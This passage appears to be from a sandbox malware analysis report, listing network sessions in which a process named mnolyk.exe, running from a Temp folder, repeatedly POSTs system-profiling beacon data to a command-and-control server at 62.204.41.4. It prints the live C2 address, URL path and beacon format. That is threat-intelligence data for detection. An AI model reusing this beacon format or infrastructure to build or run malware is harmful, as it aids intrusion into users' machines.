Feb 6, 2023 18:37:25.187724113 CET	769	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.7	50044	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:25.381632090 CET	770	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:25.444655895 CET	770	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.7	50045	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:25.620163918 CET	771	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:25.683967113 CET	771	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.7	50046	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:25.862441063 CET	772	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:25.927823067 CET	772	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49756	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:05.379931927 CET	464	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:05.444961071 CET	464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.7	50047	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:26.104922056 CET	773	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:26.168797016 CET	773	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.7	50048	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:26.342561007 CET	774	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:26.407500029 CET	774	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.7	50049	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:26.579535961 CET	775	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:26.642302036 CET	775	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.7	50050	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:26.808862925 CET	776	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:26.872878075 CET	776	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.7	50051	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:27.043304920 CET	777	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:27.109849930 CET	777	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.7	50052	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:27.283164024 CET	778	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:27.348197937 CET	778	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.7	50053	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:27.528345108 CET	779	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:27.594378948 CET	780	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.7	50055	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:27.766284943 CET	787	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:27.832042933 CET	787	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.7	50056	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:28.014709949 CET	787	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:28.082096100 CET	788	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.7	50057	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:28.262419939 CET	789	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:28.327377081 CET	789	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49757	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:05.614238024 CET	464	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:05.678282976 CET	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.7	50058	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:28.499164104 CET	790	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:28.563302040 CET	790	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.7	50059	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:28.737025976 CET	791	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:28.802062035 CET	791	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.7	50060	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:28.997104883 CET	792	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:29.066272020 CET	792	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.7	50061	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:29.246155977 CET	792	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:29.310091972 CET	793	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.7	50062	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:29.485224962 CET	794	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:29.549381971 CET	794	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.7	50063	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:29.786602974 CET	795	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:29.851991892 CET	795	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.7	50064	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
